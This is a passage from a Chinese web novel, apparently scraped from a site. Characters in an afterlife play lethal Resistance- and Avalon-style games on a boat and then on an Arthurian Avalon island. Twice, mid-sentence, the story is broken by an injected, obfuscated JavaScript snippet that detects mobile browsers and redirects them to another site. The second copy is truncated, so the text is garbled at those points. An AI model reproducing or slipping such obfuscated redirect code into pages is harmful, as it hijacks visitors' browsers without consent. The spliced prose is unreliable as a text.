骆桑的陈述花了不少时间,湖中仙女催促赶紧选人。 詹姆斯如梦初醒,朝湖中仙女转过身去。 “别搞错了啊,选1、3、5!”小个子提醒他。 詹姆斯浓密的胡子在发抖,他默了片刻,没有出声,又转回了头来。 他朝的不是小个子,而是董鑫,红着眼眶,一行眼泪滑落下来沾湿了胡须。 “小董……对不起……不论出于什么原因,你的确救了我。但我……没法报答你……” “呜……”董鑫在一瞬间崩溃,双腿发软瘫到甲板上,泪如雨下,一句话也说不出来。 “我是……1号……” 詹姆斯哽咽着向湖中仙女报告,“我提议1号、3号和5号……” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 只有1、3、5做投票准备。 湖中仙女:【1号提议1号、3号和5号,三、二、一、请投票。】 1、3、5举手。 湖中仙女:【投票通过,请1号、3号和5号依次上前,将一枚鹅卵石投进箱子。】 这是骆桑第一次参与投石,她颠颠手中的锦囊,抬步加入投石者的队伍。 然而就在这时,背后嗖地一阵阴凉,她感觉有什么正急速朝她靠近! 她猛地转身,顿时瞳孔一缩 ——4号壮汉正手握那半截三叉戟朝她袭来! 7.迷岸7 骆桑在那一瞬间下意识侧身,三叉戟锋利的尖端从她胸前堪堪擦过,凝固的空气都被戳出一种破冰的声音。 若不是她够敏捷,戟尖已经刺入她胸膛! 这绝对是在下杀手!他要干什么,杀了她阻止她投石吗? 攻击落空,三叉戟立马掉头追身而来,锋利的戟尖再度对准骆桑! 来不及调整姿势,骆桑只能凭本能躲闪,一个失衡滑倒,便顺势在甲板上朝一边翻滚,身后发出一连串木板表面被刺破的声音。 壮汉攻击力十足,更毫不手软招招致命,骆桑全凭敏捷优势狼狈闪躲,很快被逼至船舷。 若纯论速度,骆桑有信心不让他近身,但小木船实在太小,根本转不开。 “玩不过就动粗啊,没品啊!”小个子大喊。 壮汉已经红了眼,哪管这些,他的逻辑很简单,反正输了要被杀,不如拼命。 骆桑已退无可退,当戟尖再次刺来,她的重心越出船舷外,脚下一空,整个人跌落下去,就剩一只手拼死抓着船舷边的凸起才不至掉入湖里。 小木船被托在一朵巨浪之上,这凝固的湖面,掉下去恐怕跟砸在冰面上一样! 壮汉冷冷立在船舷边,朝下扫了一眼,再度举起三叉戟要砸下来。他对准的是那处凸起,要把它砸断! 【住手!】应时,一个声音响起,是湖中仙女。 一道魔法的彩色光束打过来,在三叉戟和凸起之间形成了一道临时屏障,将三叉戟拦住。 【4号,警告你,禁止使用暴力。】 遭到阻拦,壮汉收回了三叉戟,转身朝向湖中仙女,神色冷漠而充满敌视。 詹姆斯和小个子趁机连忙赶过来,合力把骆桑拉回到了甲板上。 还好,这个世界很讲秩序,骆桑呼出一口气。 壮汉不再攻击骆桑,而是拖着三叉戟走到了甲板正中央,面朝最后一根还伫立着的桅杆,最后的那面帆在这根桅杆上铺展着。 然后,他忽地朝桅杆举起了三叉戟! 不让攻击人,那就干脆砸断这根桅杆,没了帆小木船自会回到出发点! “呲——!”又一道魔法光束打了过来,这次直接打在了壮汉身上,他壮硕的身躯被霎时定住。 【警告过你了,不识好歹。】 湖中仙女沉声道,【一切暴力破坏规则的行为,都是禁止的。】 【你本来还可以多活一会儿,但现在……】 【死!】 说出‘死’字的一瞬间,湖中仙女湖蓝色的瞳仁骤然变白,原本端庄和善的面容顿时散发出浊气,因冷笑而咧开的嘴角甚至露出两颗尖牙 ——那样子已不像仙女,更像来自冥界的魔! 骆桑在那一刻有种说不出的怪异之感。 湖中仙女施放魔法,壮汉的身体被凭空抬起,就这么扔了出去。 小木船之外是一片时间停滞的空间,壮汉的身体也如周遭冻住的风景,凝在了半空中。他甚至没来得及挣扎,就成了一整块硕大的冻肉,融入了这一片静止的背景板。 【不听话的人类,没有价值。】 * 在湖中仙女的维持下,最后一轮投石终于完成,大家身上的锦囊也消失不见了。 背景恢复流动后,壮汉的身体沉沉落入汹涌的波涛,再不可见。 而小木船在球形屏障的保护下平安穿过了最后一次风暴,靠着还剩下的一面帆,继续在浓浓迷雾中行进。 对局胜利了,船上的气氛却并不欢快。 目睹了壮汉被处死的过程,董鑫仿佛看到了自己的结局,一直缩在角落瑟瑟发抖,泣不成声。 詹姆斯不知该怎么安慰他,连连叹气。 骆桑和小个子都没出声,静静等待。 天色已暗下,夜幕降临,迷雾笼罩的湖面已彻底失去可见度。 不知就这样行进了多久,前方渐渐出现了一丝光亮,朦朦胧胧的,像一层薄纱。 “是不是快到了?”詹姆斯站到船头朝远处望。 这处的迷雾特别浓,像漂浮的白色棉花团,稀薄的光线从棉花团的针缝中漏出一点点,远远望去,像是勾勒出了一片岛屿的形状。 彼岸,是座岛? 小木船没入棉花团般的浓雾,好像穿进了一面厚厚的墙,连船头和船尾都互不相见。 又过了一会儿,船头开始渐渐钻出墙,前方的浓雾便一层一层剥开,好像拉开了窗帘,外面的景色一点点映入眼帘。 那是一座雾气环绕的小岛,白雾的缝隙里透出一片绿色的植被。一轮硕大的圆月悬挂天空,洁白月光洒下,将小岛包裹,把它照得像一颗被深藏在迷雾之中的珍珠。 这里仙境般宁静而安详,却十分不真实,月亮大得像个巨盘,似乎随时可能掉下来,发出的明亮光线把夜晚都照亮了。而且这岛明明就在湖上,月光却只照着小岛,半点不向外渗透,岛外的湖面接收不到一点光,仍旧漆黑一片。 “那些……是……” 詹姆斯指着岛上的绿植,语调变得激动。 小木船在朝小岛靠近,越近,景色就越清晰,詹姆斯的激动也越高涨。 “是苹果树,都是苹果树!” 终于,小木船抵达岸边,遍布小岛的树林呈现出它的全貌,一棵棵枝繁叶茂的树上,挂满了红澄澄的苹果。 詹姆斯:“在卡美洛的传说里,有一座小岛,它被迷雾包围,只有被施过魔法的船才能抵达。这座岛上满布苹果树,它的名字叫——阿瓦隆!” 阿瓦隆?! 骆桑正吃惊,一个晃悠,小木船已靠上岸边。 岸上出现了两名身披披风腰挂宝剑的骑士,分站在船头两侧,朝船上几人示意,摆出迎接的姿势。 看来可以下船了。 詹姆斯激动不已小跑着下船登上岛屿,骆桑和小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559676|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个子紧随其后。 董鑫跟在最后,哆哆嗦嗦想下船,却被两名骑士拔剑一拦! “——!”他惨白着脸,节节后退,几步跌倒在甲板上。 两名骑士登上船,直压到董鑫身前。 大限将至,董鑫浑身抖如糠筛,嘴里不停给自己打着气:“不要紧……不要紧的……我早就死了……本来就是死人……没什么好怕的……没什……” “嚓——!”剑身划过他的脖颈,一道血光闪过,董鑫跌下船去,胖胖的身体泡在了岸边的浅滩里。 这个世界,这个死后的世界,明明都已经是死人了,所有的感知却还都那么真实。 恐惧,也那么真实。 詹姆斯没敢回头,深深闭眼,不停在胸前划着十字,低低念着:“愿主保佑……阿门……” 还没祈祷完,就听“擦咔”一声,他忙转头去看,就见小个子已经从旁边的矮枝丫上摘下来了一个苹果,张口便咬下一大口,嚼得正欢。 她就站在那一池血腥跟前吃苹果,囫囵吞下后道出一声:“甜。” “这……”詹姆斯上前试图阻止。 小个子一下把苹果藏到身后:“干嘛?你家的?” “不,我是怕……”他很担心这些苹果是不能随便碰的,真不想再看见有谁被杀掉了。 “应该没事。”骆桑看了看船上那两个骑士的动向,说。 湖中仙女早已消失,这两个骑士杀了董鑫后,就留在船上不知道在干什么,好像在对着甲板一顿鼓捣。 “詹姆斯。”骆桑又问,“你刚才说……阿瓦隆?” “哦,是的。” 詹姆斯点点头,“在卡美洛传说的最后,亚瑟王和叛军进行了一场殊死搏斗,那场战役叫剑栏之战。在剑栏之战中,亚瑟王被龙息之剑刺中,陷入昏迷生命垂危。” “阿瓦隆是人间与灵界的交汇之处,岛上有圣杯。哦,圣杯,就是耶稣基督被钉在十字架上时,他的门徒用来接他的血的圣物。只要喝了圣杯里的圣水,亚瑟王就能起死回生。” “于是圆桌骑士们就用小船把亚瑟王送到了阿瓦隆……” “用小船?”骆桑打断他问。 “是的,他们……”詹姆斯一下停住,他也突然反应过来了什么。 两人一齐转头看向小木船。 甲板上,那块之前怎么都拉不起来的木板,被两名骑士拉开了。 下面果然有一个船舱,那船舱里的该不会是…… 一名骑士下到船舱里,另一名在上面接应,不一会儿,一个身披战服却昏迷不醒的高大男人被抬了出来。 他紧闭着双眼,英俊的面容却展露无遗,他金色的头发如王冠,尽管受了重伤,那股王者之气却仍不褪色。 还说卡美洛王国都出现了,国王会在哪,搞半天同船了一路啊! 小个子手里的苹果都惊掉了:“鬼哦!亚瑟王?” 8.阿瓦隆1 【感谢你们护送陛下来到阿瓦隆。】 两名骑士抬着亚瑟王下船,朝3人点头示意。 詹姆斯立即凑上前去从头到脚仔细瞻仰那个昏迷的人,激动得手都在抖。 “噢上帝,这就是我的国王。” 此刻,他是见证了信仰的信徒,并且,他的信仰完整了。 【但请不要放松警惕,叛军的爪牙也来到了阿瓦隆,他们会想尽办法阻止你们拯救陛下。】 骑士道,【为了成功唤醒陛下,为了卡美洛的延续,你们还将接受考验,请竭尽所能与邪恶势力对抗。】 【当然……】 说到这里话锋一沉,【你们也有可能是叛军的爪牙。】 詹姆斯:“……” 骑士指向密林深处:【沿着这条路一直走,就能到达树林小屋,请各位去那里稍作休整,入夜后,新的对局将在那里开始。】 说着,两名骑士抬着亚瑟王走入苹果林,他们步伐很快,一眨眼就没了踪影。 詹姆斯目送亚瑟王的身影消失,这才回过神来,诧异地问:“什么意思啊?” “还要来一场阵营战。”骆桑答,“我们会重新抽取身份,有可能是亚瑟王的骑士,也有可能是叛军的爪牙。” 詹姆斯:“你怎么知道?” 骆桑轻笑:“有一款游戏算是《抵抗组织》的升级版,基本规则和《抵抗组织》一样,但多了一些特殊角色,有一些特殊技能在游戏中发挥作用,局势更加扑朔迷离。” “这款游戏就叫做:《阿瓦隆》。” “……!”詹姆斯吃惊。 残酷的阵营战还没有结束,入门级的第一场刚分出胜负,真正的较量这才开始。 “吃个苹果压压惊呗大胡子。” 小个子朝詹姆斯扔了个苹果,自己手里还拿着一个咔嚓咔嚓啃得正香。 她好像一点也不忧心。 詹姆斯握着苹果,却提不起食欲,眉间的愁云始终不减。 “唉……”他长叹出一口气,“我是万万没想到,死了以后居然能看到我心中的卡美洛王国,还能找到阿瓦隆,遇到亚瑟王,这真是威尔士人的理想。你们能明白吗,这对我来说,就像到了天堂一样。我主保佑,把我送来了这里。” “可为什么,一定要参与这种你死我活的争斗?我真是受不了。” “大胡子你不看小说吗?”小个子边嚼边说,吐词不清。 詹姆斯:“什么小说?” 小个子:“好多小说都有这种情节啊,濒死的时候进入异空间,在里面玩各种惊悚游戏闯关,在游戏里被抹杀掉就是真的死,但只要一直活到最后通关,就能复活回到现实啊。” “……”詹姆斯狠狠一呆。 “你……你是说……我还没死?” 小个子一个白眼,把啃完的苹果核一扔:“拜托,你死没死我怎么知道,我反正还没死透,还要回去的。” 詹姆斯和骆桑都沉默了。 这同他们的认知完全不同。 须臾,骆桑问小个子:“你为什么觉得自己还没死透?你还很小吧,是出什么事了?” 小个子嫌苹果汁弄脏了手,又摘了片树叶来擦,嚓嚓嚓嚓地,动作毛毛躁躁。 擦完,她把树叶揉碎,扔到地上踩了两脚,丢下两个字转身便朝苹果林里走。 “直觉。” * 夜晚的小岛十分静谧,连一点微风都没有。 3人借着月光,沿着骑士所指的羊肠小道往小岛深处走去。 小个子走在前,骆桑和詹姆斯走在后,中间隔出一段距离。不知是不是碰到了什么雷区,小个子明显不想再和他们俩交谈,故意走得快。 羊肠小道深入苹果林之中,两侧都是茂密的苹果树,熟透的苹果散发出浓厚的清香,十分诱人。 骆桑也忍不住摘了一个来吃,确实很甜。 “真奇怪,灵魂也会觉得饿,也会想要吃东西。”骆桑感叹。 “所以骆小姐,你也认为,我们已经死了,已经是灵魂了?”詹姆斯的重点还在这里。 “谁知道呢。”骆桑坦然摊手,“没有人告诉我们这个世界是什么,我们又是什么,谁说的都可能对,也都可能不对。” “只是她还很想活吧,所以,愿意那样相信。” 詹姆斯点点头,想了想,又捧起心口:“我活着的时候,非常痛苦,每天都受折磨。就算像她说的,有机会复活,我也不希望。这次没死成,心脏又不会康复,很快就会有下一次发作。” “人们总想活得久一点,哪怕痛苦也想延长生命,是因为不知道死后会去哪里,是害怕那种未知。虽然信徒们可以从圣经上找到答案,有个慰藉,可毕竟没有亲眼看到,还是会害怕。” “从前我也是害怕的,但如果我早知道,我死了以后可以来到阿瓦隆,那么前几次的抢救,就真的没有必要了。” 骆桑慢慢走着,轻轻应了声:“嗯。” 她对此地并没有詹姆斯那样的归属感,但,这地方已经够对得起她了,还要什么自行车? “那么骆小姐,你希望谁说得对呢?”詹姆斯又问,“你还想活吗?” “不想。”骆桑很干脆。 詹姆斯:“那我猜,你肯定是和我一样,得了重病……噢抱歉,你实在太瘦了,看起来不太健康。” 骆桑没有否认。 詹姆斯看看她,又说:“哦对了,你之前说,小董救我上船,是因为我要死不活的。” “其实我现在不是要死不活的了,来这里以后,我的心脏已经没有问题了,只是这么多年习惯了,一开始没反应过来,还把自己当个病人。” “我想,骆小姐你肯定也一样,身体已经恢复,不必再担心了。” 骆桑想笑,一死包治百病这件事,哪用他来提醒,她早门儿清了。 但她还是对詹姆斯认真道了声:“谢谢,我知道了。” 这个中年男人,身高符合西洋人的日常高大,一米八上下,满下巴的胡须也是野蛮生长,光看外貌怎么都想不到,他性格原来这般温和。 “不过话说回来,骆小姐。”詹姆斯又说,“你对这类游戏很有研究啊,也很厉害,肯定不像我这样,害怕被放到对局里。” “过奖,以前多玩过几局而已。”骆桑自谦。 “不,你是高手,我确定。”詹姆斯言之凿凿。 骆桑步伐突然停了下,落后了两步。 詹姆斯回过头来:“怎么了,骆小姐?” 骆桑思忖片刻,对詹姆斯郑重道:“詹姆斯先生,可否请求你一件事?” 詹姆斯洗耳恭听。 骆桑:“在下一场游戏里,根据你自己的判断,如果你认为我们在同一阵营,请不要让别人知道,我对这类游戏很熟悉。” 詹姆斯:“为什么?” 骆桑:“因为在这种对局里,被认为是高手的人会让人感到不安,容易被针对和不断质疑,这样对我们都没有好处。” 詹姆斯一边点头一边思索,然后明白了什么似的,笑了:“骆小姐,你真的很体贴,还特地限定为我们在同一阵营的情况。” 骆桑也笑,继续朝前走。 “那当然,如果我们互为敌方,你不必遵守任何约定。” * 沿着羊肠小道深入苹果林的最深处,在重重树木的包裹中,出现了一座小木屋。 小木屋地基立于树根,四柱倚靠树干,房顶树叶为瓦,简直就是这些苹果树的延伸,几乎和周围融为一体,有一种独特的和谐自然之美。 应就是骑士口中的树林小屋。 阵营战3个人肯定不够,骆桑之前就预想着肯定还要来人,果不其然,推开小木屋的门,发现有3人正等在里面。 小木屋结构简陋,地板由粗壮而不规则的圆木排列而成,上面铺着一些简易草席,那3人就在草席上席地而坐。 他们全都穿着精致而挺拔的骑士装。 “你们终于来了!”有一人站了起来,笑脸相迎,“有人跟我们说,还差3个人,你们正好3个,这下齐了。” 看来下一场是《阿瓦隆》6人局。 来迎接的是个青年男子,留着利索的小平头,看上去就很阳光精力充沛那种。 他迎上前来时,另一名男子也起了身。这名男子有一张标准的国字脸,看着成熟些,约莫三十来岁,礼貌地指向另一侧的草席:“那边坐吧,休息会儿。” 只有角落里抱膝蜷坐着的一名女子没出声,她只稍稍抬起头,羞涩的目光朝这边看了两眼,又缩了回去。从面容能看出,她也是西洋人,白皮肤,浅棕色的头发,脸上有些雀斑。 初来的3人也坐到了草席上。 “你们在树林里找了这么久,是迷路了吗?”小平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被cue到,西洋女子有几分不自在,手指局促地卷着耳边的头发,小声说:“噢,我叫丽莎,来自澳大利亚,旅行的时候,摔下了悬崖。” “很高兴见到你们。” 才说几句话,脸都红了,又赶紧埋下头去。 还剩骆桑和小个子。 骆桑报了姓名,说自己得了不治之症,接力棒就落到了最后的小个子那里。 共同经历了一场生死对决,还不知道这属刺猬的小丫头叫啥名谁呢,但就从别人自我介绍时她那爱答不理的样子来看,这会儿怕是也不稀得交代。 果不其然,尽管被几双眼睛注视着,小个子也没有半点儿接招的意思,抱着胳膊独自坐在一边,面朝墙壁。 “小妹妹,怎么称呼你呀?”高翔宇主动问她。 小个子不理。 对待小盆友,高翔宇很有耐心,用哄的语气说:“别怕嘛,哥哥没有坏心哦。” 也不知是哪里又踩了雷,小个子竟然一下炸毛:“滚!” …… 小小的木屋瞬间静得落针可闻。 高翔宇脸上的笑凝固了。 也是年轻气盛,他咽不下这口窝囊气,反应过来后立马回怼:“你有病吧!” 猜到这妮子肯定还要怼回来,却没猜到她竟这样怼:“烂黄瓜才有病!” 高翔宇脸都胀红了,“卧槽你骂谁呢!”,倏地起身就要朝小个子那边去。 王之栋眼疾手快拉住他:“算了小高。” “放开。”高翔宇难压怒火,咬着牙根。 王之栋:“中学生吧,还没成年,别跟她计较,啊。” 规劝的口吻中带上几分老大哥似的强制的意思,拉着他的手也没松动。 “她要骂的是你呢?”高翔宇质问王之栋。 王之栋:“那我只当她精神不正常,不搭理得了。再说一会儿对局开始,说不好还是同一阵营呢。” 这话高翔宇听进去了,警告小个子道:“没下次。” 小个子一个白眼,依旧不搭理。 风波暂告一段落,依然不知小个子叫个啥。 之后没多久,小木屋的门被打开,一名骑士出现在门口。 【6人阵营战即将开始,请仔细听好规则。】 9.阿瓦隆2 【剑栏之战,亚瑟王被叛军领袖莫德雷德用龙息之剑刺伤,生命垂危,只有藏于阿瓦隆岛上的圣杯才能拯救他的生命。圣杯被封印在阿瓦隆岛上某个神秘的角落,只有找到圣杯,解除封印,才能让亚瑟王喝到救命的圣水。】 【为此,亚瑟王的导师,不列颠最伟大的法师梅林,和亚瑟王的圆桌骑士们,一同将亚瑟王送到了阿瓦隆,试图找到圣杯,并由梅林来解除封印,拯救亚瑟王。】 【然而,为了阻止亚瑟王复活,叛军的爪牙混入了圆桌骑士的队伍,他们会阻止骑士团找到圣杯。并且,莫德雷德已将龙息之剑交给爪牙之一的刺客,如果最终骑士团还是找到了圣杯,刺客就会用龙息之剑杀掉梅林,阻止他为圣杯解封。】 【骑士团一共有6人,其中4人忠于亚瑟王,为蓝方,另外2人是叛军的爪牙,为红方。】 【蓝方4人的身份分别为:梅林,派西维尔,和2个忠臣。】 【红方2人的身份分别为:莫甘娜,和刺客。】 【蓝方4人。】 【梅林是伟大的先知,他预言了混入骑士团的爪牙,知道莫甘娜和刺客是哪两个人,但不知道其中谁是莫甘娜,谁是刺客。迫于刺客的龙息之剑的威慑,梅林并不敢透露身份,只能将自己隐藏在骑士团之中。】 【派西维尔是亚瑟王最忠心的忠臣,誓要保护梅林不被刺杀。但他在上岛后,却看到了两个梅林,他知道其中一个是女巫莫甘娜假扮的,却不知道谁是真正的梅林,谁是莫甘娜。】 【忠臣没有额外信息,只尽其所能寻找圣杯,并掩护梅林。】 【红方2人。】 【莫甘娜是邪恶的女巫,她假扮梅林迷惑派西维尔,引导骑士团做出错误的决策。】 【刺客手握龙息之剑,可在骑士团找到圣杯的时候刺杀梅林,但机会只有一次,他必须精准找出梅林是谁。】 【莫甘娜和刺客知道彼此是谁。】 【圣杯的线索一共有5个,分别藏在5个洞穴里,只要找到其中3个,就能找到圣杯。】 【每个洞穴都有魔法封印,需要借助湖中仙女的魔法才能解除,但湖中仙女的魔法需要骑士团的助力才会生效。】 【每名骑士都有一个锦囊,蓝方的锦囊里只有数个白色鹅卵石,而红方的锦囊里一半是白色鹅卵石,一半是黑色鹅卵石。】 【每一次解除封印,湖中仙女都需要收取一定数量的白色鹅卵石来帮助魔法生效,5次解封需要的数量依次为:2个,3个,4个,3个,4个。】 【每一次,骑士团都遵循惯例,用投票的方式选出对应数量的人来向湖中仙女提供鹅卵石,选出的人每人提供1枚鹅卵石。如果湖中仙女收到的鹅卵石全为白色,则魔法生效,洞穴将开启,线索将出现。而但凡有一枚为黑色,则魔法失效,洞穴将被永久封闭,线索永久失踪。】 【每名骑士的锦囊只有自己能打开,只有自己能查看,向湖中仙女提供的鹅卵石也只有自己知道是什么颜色。只是每一次,湖中仙女都会公布她收到的白色鹅卵石和黑色鹅卵石的个数。】 【下面,请各位抽取在本次阵营战中的序号。】 说着,骑士呈上一个暗箱。 复杂的规则,有人还听得云里雾里,一时没动。 高翔宇似乎成竹在胸,打算第一个过去抽取号码,却发现离门更近的小个子先他一步把手伸进了暗箱。 “切,晦气。”他低低念了声。 小个子没听见,近水楼台先得月抽出来一张卡片,上面写着:3。 高翔宇吹着口哨和她擦身而过,第二个抽卡:“哟,首置位。” 他朝大家展示卡片,上面写着:1。 随后,詹姆斯抽到了4,王之栋抽到了6,骆桑抽到了5,迟迟没行动的丽莎自动获得了剩下的2。 序号抽选完毕,骑士道:【每个序号都绑定了一个在本次阵营战中的身份,你们的阵营现在已经分好。请各位在树林小屋内安睡,后半夜,湖中仙女会单独告知各位身份,以及该身份可以获得的信息。】 【蓝方获胜条件为:成功找到3个线索,并成功掩护梅林不被刺杀。】 【红方获胜条件为:成功阻止找到3个线索,或成功刺杀梅林。】 【请注意……】 骑士语调一沉,【若蓝方获胜,成功拯救了亚瑟王,红方成员将被处死。】 【若红方获胜,拯救亚瑟王失败,蓝方成员将以死谢罪。】 * 骑士离开后,小木屋内一度噤若寒蝉,气氛压抑。 王之栋面色发白,丽莎惊得蜷缩起身体,连起初自信满满的高翔宇都明显蔫了几分。 他们这才知道,这里的阵营战,是生死PK。 “我们现在……算是灵魂吗?”许久,王之栋问,“要是灵魂再死掉的话,是不是什么也不剩下了?” 没有人回答他。 过了一会儿,高翔宇说:“我以前是个不折不扣的唯物主义者,什么神啊佛啊鬼啊从来不信,也不相信人死之后有灵魂,现在是被打脸了。我就琢磨,会不会灵魂死了之后还能有个啥,听都没听过的什么玩意儿,又能以另外一种方式继续存在着呢?” 倒是个乐观主义者。 骆桑问他:“你是不是玩过这个游戏?” 因为他说出了一个常用的术语:首置位。 “《阿瓦隆》嘛。”高翔宇坦言,“蛮有意思的,有段时间很迷,不过从来不知道背景故事是这样的。” “你也玩过?” “玩过几局。”骆桑回答。 “没想到还有以亚瑟王的故事来编排的阵营游戏。”詹姆斯说,“梅林,莫甘娜,莫德雷德……这些人物叫人怀念。” “怀念?”王之栋诧异,“詹姆斯,你对这些角色很熟悉?我一无所知,听着这些拗口的名字头都大了。” 詹姆斯:“是吗,可能因为我刚好是威尔士人,对家乡的传说了解一些。那王先生,你有兴趣听我大致描述一下这几个人物吗?” “那敢情好。”王之栋求之不得,“这样我能玩得明白一点。” 说到心中的卡美洛传说,詹姆斯乐此不疲:“那就先说说梅林。” “传说梅林的父亲不是人类,是魅魔,天生半人半魔的血统,法力超群。” “还在梅林小的时候,有一位昏庸的国王,沃蒂根王,要在国内建一座高塔,但每次要建成的时候塔都会莫名其妙倒塌,有人说要有半人半魔的孩子混在泥土里才能建成塔,于是抓来了梅林。” “梅林能说会道,他说塔会倒是因为地基建在地下水之上,只需要把水抽走塔就不会再倒塌。他还说,在这片地下水中有两条龙,一条红龙,一条白龙,红龙代表沃蒂根王的王国,白龙代表侵略者,两条龙互相对抗。他预言沃蒂根王的子孙会带领着红龙战胜白龙,王国会因此非常强盛。” “沃蒂根王听后非常高兴,就封梅林为大法师。然而没多久,沃蒂根王的旧王国就被亚瑟王的父亲乌瑟王给推翻了,卡美洛王国就是乌瑟王建立的。” “原来梅林是个忽悠精人设啊,大法师的名号都是忽悠来的,哈哈哈。”高翔宇吐了个槽。 “的确不是一本正经的巫师形象,但梅林确实为卡美洛王国做了很多贡献,比如,亚瑟王的诞生。” 詹姆斯继续,“乌瑟王登基后,爱上了一位公爵夫人。梅林施展魔法,把乌瑟王变成了公爵的样子,让他混入公爵的城堡,跟公爵夫人……呃……公爵夫人因此怀孕,生下来的孩子就是亚瑟。” “……” “噗哈哈哈——!” 高翔宇大笑,“想不到想不到,鼎鼎大名的亚瑟王原来是个私生子!而且还是梅林帮忙搞出来的!” 骆桑也笑了,《阿瓦隆》玩过不少,倒还没了解过这些故事细节。 詹姆斯语调坦然:“正因为是私生子,亚瑟从小是被别人养大的,后来为了让亚瑟名正言顺继位,乌瑟王又请梅林来想办法。梅林预见到乌瑟王故去后王位空悬王国陷入危机,意识到必须辅佐亚瑟登基,就设计了石中剑。” “石中剑的故事蛮有名的,我听说过。”骆桑说,“是说有一块巨大的石头,上面插着一把宝剑,谁能拔出这把剑,谁就是天选的国王。各路勇士都来尝试却无一成功,最后被亚瑟轻而易举拔了出来,于是亚瑟就成为了下一任国王。” 詹姆斯:“是的,但现在你知道了,无人能拔出,亚瑟却能拔出,都是因为梅林施展的魔法,这是卡美洛王国历史上最了不起的一次施法。梅林辅佐亚瑟登上王位,成了他最信任的导师,共同开启 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“莫甘娜呢……还记得刚才说的,亚瑟的母亲吗?” 王之栋:“公爵夫人。” 詹姆斯:“是的,公爵夫人在生亚瑟之前,还跟公爵一起生过一个女儿,这个女儿就是莫甘娜。所以莫甘娜是亚瑟同母异父的姐姐。” “同一个母亲所生,亚瑟王拥有至高无上的权力,莫甘娜却没有,这让莫甘娜对亚瑟王有天然的怨恨。莫甘娜也是一位很厉害并且有权利欲的魔法师,为了获得权力,她决定拥有一个亚瑟王的孩子。她用魔法把自己伪装成亚瑟王深爱的王后,骗亚瑟王与她共度了一夜,由此生下一个孩子,莫德雷德。” “卧槽!”高翔宇一脸不忍直视,“贵圈儿可真乱!” 很难得地,小个子也上了同一条战线,冷笑一声:“呵呵,烂黄瓜的故事。” 几人:“……” 小个子兴致缺缺躺下睡觉去了,丢下一句:“小声点,别脏我耳朵。” 詹姆斯看看她,放低了音量:“本来也快说完了,就最后几句。” “莫德雷德表面上是亚瑟王的侄子,实际上是他的私生子,也是他的劫数,更是卡美洛王国的终结者。梅林预知到了卡美洛王国的结局,告知亚瑟王,亚瑟王曾为此想除掉莫德雷德,但没能成功。” “莫德雷德怀着仇恨长大,后来加入了圆桌骑士,最后背叛亚瑟王,挑起剑栏之战和亚瑟王同归于尽了。” “搞半天是被自己的私生子给干掉的啊,还是和姐姐的私生子,嗨,怎么觉得逼格都掉没了。”高翔宇调侃。 詹姆斯笑笑,招呼大家:“好了,就是这些,睡吧,睡吧。” 王之栋不忘说了声谢谢,之后,几人便都躺下,各自琢磨这场对局。 * 后半夜,6人在小木屋里陷入沉睡。 不知何时,骆桑感觉自己好像做了一个梦。 梦里,她又见到了湖中仙女,是端庄和善的那副面孔。她见到湖中仙女的地方不在小木屋内,而是在苹果林深处,但她想不起自己是什么时候走出来的。 周围是泛着苹果香的密林,抬头,洁白的月光洒在她身上。 她这才发现,自己身着的已不是那身破烂盔甲,而是和那3人一样的,精致挺拔的骑士装。 【5号,你的身份是派西维尔。】 湖中仙女对她说。 派西维尔,这身份不错,知道梅林和莫甘娜是哪两个人,能做的事比白板忠臣多多了。 湖中仙女挥舞魔法棒,一个锦囊出现在骆桑眼前。 【派西维尔,这是你的锦囊。】 熟悉的配方,骆桑收下锦囊。 【派西维尔,请跟我来。】 骆桑跟着湖中仙女走到苹果林的最深处,前方出现了一团浓雾。 【请看。】 湖中仙女指向浓雾。 骆桑走上前去,朝浓雾里仔细看。 隐隐约约地,里面似乎出现了两个身着法师长袍的老者,他们的着装一模一样,只有面部特征微有不同。 仔细分辨,能看出来,一个是高翔宇,一个是王之栋。 【派西维尔,梅林和莫甘娜是1号和6号,请识别谁是梅林,并保护他不被刺杀。】 10.阿瓦隆3 清晨的阿瓦隆,雾气更浓,光线像被蒙上了一层纱,淡淡的,朦胧的。 无风,树木静止,只有叶子上的露珠缓缓滑落。 醒来时,每人都身着一样的骑士装,身边都多了一个锦囊。 每个人都分到了一个身份,分属了某个阵营。昨夜自由交谈的氛围不再,大家都保持缄默,看向他人的眼神带上警惕。 就在身旁的人,说不好就是敌对方。 骑士出现,将6人带出小木屋,带到苹果林里。 湖中仙女已经等在这里。 【那么,我带各位去到第一处洞穴。】 紧张的气氛让人都闻不到苹果的香气,身体有饿感,经过熟透的苹果却也没人去摘。 拿到身份后的后半夜,怕是做梦都是在思考对策。 6个骑士跟着湖中仙女在苹果林里穿行,不一会儿,穿过几棵茂密的大树,前方出现了一个小土丘似的洞口。洞口浮着一层荧荧的光,好似有一张薄膜将之封住。 湖中仙女:【第1个线索就藏在这里,我将释放魔法将封印解除。】 【现在开始第1次选人。】 【从1号开始提议人选,全员投票。4票及4票以上为过半,3票及3票以下为不过半。过半即通过,即可向我提供鹅卵石。不过半则顺延由2号提议人选再次投票,不通过再顺延至3号,以此类推。】 【但请注意:如果连续4个人的提议都得不到通过,那么第5个人的提议无需投票直接通过。】 【第1次需要2个人,剩余时间十分钟,请在十分钟之内决定2个人选。】 【如果超时未报人选,将视为放弃,自动顺延至下一位。如果第5个人超时未报人选,则随机决定人选。】 规则有了些微变化,要不通过次数达到4次才会强制组队,并且超时不再直接随机,而是先顺延,最后一个人超时才随机。 